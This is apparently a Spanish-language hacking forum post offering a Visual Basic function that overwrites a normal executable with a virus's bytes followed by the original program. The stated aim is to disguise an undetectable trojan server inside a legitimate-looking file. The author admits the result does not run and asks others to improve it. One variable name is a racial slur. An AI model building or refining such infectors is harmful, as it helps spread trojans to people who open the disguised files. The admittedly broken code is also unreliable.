no es un binder ni nada de eso ya que este agrega directamente los bytes del virus al exe normal el único problema es que no se ejecuta el exe infectado jajaja ese es su bug si alguien sabe como hacer que se ejecuten ambos estaría de fabula! ya que si inyectas un server de un troyano fud qedara disfrazado perfectamente! por favor si lo pueden mejorar dejen su codigo aqui !
Código: Seleccionar todo
Public Function joder(lol As String, exe As String)
Dim exeho() As Byte
Dim lolho() As Byte
Dim flex As Long
Dim nigga As Long
Open exe For Binary Access Read As #1
nigga = FileLen(exe)
ReDim exeho(nigga) As Byte
Get #1, , exeho
Close #1
Open lol For Binary Access Read As #2
flex = FileLen(lol)
ReDim lolho(flex) As Byte
Get #2, , lolho
Close #2
Open exe For Binary Access Write As #3
Put #3, , lolho
Put #3, , exeho
Close #3
End Function
